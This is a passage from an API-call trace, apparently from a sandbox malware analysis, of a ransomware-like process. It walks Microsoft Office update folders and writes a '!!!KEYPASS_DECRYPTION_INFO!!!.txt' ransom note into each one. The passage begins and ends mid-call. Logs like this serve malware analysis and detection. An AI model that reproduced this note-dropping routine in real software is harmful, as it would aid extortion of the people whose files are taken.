lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.603] WriteFile (in: hFile=0x18bc, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x2a, lpOverlapped=0x0) returned 1 [0276.603] CloseHandle (hObject=0x18bc) returned 1 [0276.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\*", lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0x3998670 [0276.603] FindNextFileW (in: hFindFile=0x3998670, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.603] FindNextFileW (in: hFindFile=0x3998670, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.603] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.603] FindNextFileW (in: hFindFile=0x3998670, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.603] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0276.603] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.603] GetLastError () returned 0x3f0 [0276.603] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.603] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\140\\resources\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4ca68, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c0 [0276.604] GetFileType (hFile=0x18c0) returned 0x1 [0276.604] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ca98, cchData=2 | out: lpLCData="0") returned 2 [0276.604] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ca84, cchData=2 | out: lpLCData="0") returned 2 [0276.604] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ca74, cchData=2 | out: lpLCData="0") returned 2 [0276.605] WriteFile (in: hFile=0x18c0, lpBuffer=0x2e4b700*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b02c, lpOverlapped=0x0 | out: lpBuffer=0x2e4b700*, lpNumberOfBytesWritten=0x2e4b02c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.606] WriteFile (in: hFile=0x18c0, lpBuffer=0x2e4b700*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b02c, lpOverlapped=0x0 | out: lpBuffer=0x2e4b700*, lpNumberOfBytesWritten=0x2e4b02c*=0x2a, lpOverlapped=0x0) returned 1 [0276.606] CloseHandle (hObject=0x18c0) returned 1 [0276.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\*", lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 0x39980f0 [0276.606] FindNextFileW (in: hFindFile=0x39980f0, lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 1 [0276.606] FindNextFileW (in: hFindFile=0x39980f0, lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 1 [0276.606] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\140\\Resources\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.606] FindNextFileW (in: hFindFile=0x39980f0, lpFindFileData=0x2e4cd04 | out: lpFindFileData=0x2e4cd04) returned 0 [0276.606] FindNextFileW (in: hFindFile=0x3998670, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0 [0276.606] FindNextFileW (in: hFindFile=0x3998070, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.607] FindNextFileW (in: hFindFile=0x3998570, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0 [0276.607] FindNextFileW (in: hFindFile=0x39983b0, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0 [0276.607] FindNextFileW (in: hFindFile=0x3998130, lpFindFileData=0x2e4dd94 | out: lpFindFileData=0x2e4dd94) returned 1 [0276.607] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0276.607] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.607] GetLastError () returned 0x3f0 [0276.607] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.607] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft office\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d7a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c8 [0276.608] GetFileType (hFile=0x18c8) returned 0x1 [0276.608] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7d8, cchData=2 | out: lpLCData="0") returned 2 [0276.608] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7c4, cchData=2 | out: lpLCData="0") returned 2 [0276.608] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d7b4, cchData=2 | out: lpLCData="0") returned 2 [0276.608] WriteFile (in: hFile=0x18c8, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.609] WriteFile (in: hFile=0x18c8, lpBuffer=0x2e4c440*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4bd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c440*, lpNumberOfBytesWritten=0x2e4bd6c*=0x2a, lpOverlapped=0x0) returned 1 [0276.609] CloseHandle (hObject=0x18c8) returned 1 [0276.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\*", lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 0x3998430 [0276.609] FindNextFileW (in: hFindFile=0x3998430, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.609] FindNextFileW (in: hFindFile=0x3998430, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.609] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.609] FindNextFileW (in: hFindFile=0x3998430, lpFindFileData=0x2e4da44 | out: lpFindFileData=0x2e4da44) returned 1 [0276.609] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.609] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.609] GetLastError () returned 0x3f0 [0276.610] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.610] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft office\\office16\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d458, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18cc [0276.648] GetFileType (hFile=0x18cc) returned 0x1 [0276.648] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.648] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.648] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.648] WriteFile (in: hFile=0x18cc, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.649] WriteFile (in: hFile=0x18cc, lpBuffer=0x2e4c0f0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4ba1c, lpOverlapped=0x0 | out: lpBuffer=0x2e4c0f0*, lpNumberOfBytesWritten=0x2e4ba1c*=0x2a, lpOverlapped=0x0) returned 1 [0276.649] CloseHandle (hObject=0x18cc) returned 1 [0276.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\*", lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 0x39982f0 [0276.649] FindNextFileW (in: hFindFile=0x39982f0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.649] FindNextFileW (in: hFindFile=0x39982f0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.649] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.649] FindNextFileW (in: hFindFile=0x39982f0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.649] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.650] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.650] GetLastError () returned 0x3f0 [0276.650] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.650] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18d0 [0276.651] GetFileType (hFile=0x18d0) returned 0x1 [0276.651] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.652] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.652] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.652] WriteFile (in: hFile=0x18d0, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.652] WriteFile (in: hFile=0x18d0, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.652] CloseHandle (hObject=0x18d0) returned 1 [0276.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x39986f0 [0276.653] FindNextFileW (in: hFindFile=0x39986f0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.653] FindNextFileW (in: hFindFile=0x39986f0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.653] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.653] FindNextFileW (in: hFindFile=0x39986f0, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0 [0276.653] FindNextFileW (in: hFindFile=0x39982f0, lpFindFileData=0x2e4d6f4 | out: lpFindFileData=0x2e4d6f4) returned 1 [0276.653] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.653] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.653] GetLastError () returned 0x3f0 [0276.653] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.653] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4d108, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18d4 [0276.681] GetFileType (hFile=0x18d4) returned 0x1 [0276.681] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.681] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.681] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.682] WriteFile (in: hFile=0x18d4, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x3a4, lpOverlapped=0x0) returned 1 [0276.682] WriteFile (in: hFile=0x18d4, lpBuffer=0x2e4bda0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b6cc, lpOverlapped=0x0 | out: lpBuffer=0x2e4bda0*, lpNumberOfBytesWritten=0x2e4b6cc*=0x2a, lpOverlapped=0x0) returned 1 [0276.683] CloseHandle (hObject=0x18d4) returned 1 [0276.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\*", lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 0x3998270 [0276.683] FindNextFileW (in: hFindFile=0x3998270, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.683] FindNextFileW (in: hFindFile=0x3998270, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.683] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.683] FindNextFileW (in: hFindFile=0x3998270, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.683] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.683] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.683] GetLastError () returned 0x3f0 [0276.683] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.683] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\updates\\download\\packagefiles\\f227e87a-b6b1-42dd-93d7-cc66c1f69c7e\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4cdb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18d8 [0276.684] GetFileType (hFile=0x18d8) returned 0x1 [0276.684] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.684] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.684] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.684] WriteFile (in: hFile=0x18d8, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x3a4, lpOverlapped=0x0) returned 1 [0276.685] WriteFile (in: hFile=0x18d8, lpBuffer=0x2e4ba50*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4b37c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ba50*, lpNumberOfBytesWritten=0x2e4b37c*=0x2a, lpOverlapped=0x0) returned 1 [0276.685] CloseHandle (hObject=0x18d8) returned 1 [0276.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\*", lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0x39982b0 [0276.685] FindNextFileW (in: hFindFile=0x39982b0, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.685] FindNextFileW (in: hFindFile=0x39982b0, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 1 [0276.685] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.685] FindNextFileW (in: hFindFile=0x39982b0, lpFindFileData=0x2e4d054 | out: lpFindFileData=0x2e4d054) returned 0 [0276.685] FindNextFileW (in: hFindFile=0x3998270, lpFindFileData=0x2e4d3a4 | out: lpFindFileData=0x2e4d3a4) returned 1 [0276.685] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.685] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.685] GetLastError () returned 0x3f0 [0276.686] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft 